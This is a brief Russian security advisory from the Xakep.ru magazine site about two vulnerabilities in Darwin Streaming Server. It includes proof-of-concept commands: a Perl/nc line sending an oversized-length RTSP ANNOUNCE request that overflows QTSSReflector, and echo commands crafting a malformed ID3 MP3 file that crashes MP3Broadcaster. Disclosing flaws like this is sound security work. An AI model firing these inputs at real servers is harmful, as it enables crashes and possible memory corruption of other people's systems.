Продукты «Хакера»

  • Ежеквартальный «Хакер» #3

    Ежеквартальный «Хакер» #3

    Лучшие статьи квартала на бумаге

    2 000 ₽

    Заказать журнал
  • Годовая подписка на Xakep.ru

    Годовая подписка на Xakep.ru

    Полный доступ к статьям и архиву выпусков

    6 000 ₽ в год

    Подписаться
  • «Пентест WEB» для начинающих

    «Пентест WEB» для начинающих

    Совместный курс «Хакера» и лаборатории «Хаксет»

    7 000 ₽

    Купить курс
  • Спецвыпуск «Хакера» #4

    Спецвыпуск «Хакера» #4

    Лучшие статьи за 2021–2022 годы на бумаге

    2 000 ₽

    Заказать журнал

Darwin Streaming Server (DSS) - сервер, позволяющий
потоковое видео используя RTP и RTSP протоколы,
он основан на том же коде, что и Apple QuickTime
Streaming Server.

1. В модуле QTSSReflector обнаружено
целочисленное переполнение буфера, в
процедуре разбора запроса ANNOUNCE.

$ perl -e 'print "ANNOUNCE /.sdp RTSP/1.0\nContent-length:4294967295\n\n",
"A"x8192' | nc -v localhost 554
localhost [127.0.0.1] 554 (rtsp) open
too many output retries : Broken pipe

2. В утилите MP3Broadcaster возникает ошибка при
обработке ID3 тэгов.

Сначала создает конфигурационный файл:

$ echo -e "\n" > test.conf

Затем плейлист:

$ echo -e "*PLAY-LIST*\nsong.mp3" > mp3playlist.ply

и МР3 файл:

$ echo -e "ID3\x03\x00\x00\x00\x00\x0f\x0fTPE1\xff\xaa\xaa\xbb\x00\x00\x00\x00\x00\x00"
> song.mp3

Теперь вызываем утилиту:

$ MP3Broadcaster -X -l mp3playlist.ply -c test.conf

 

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии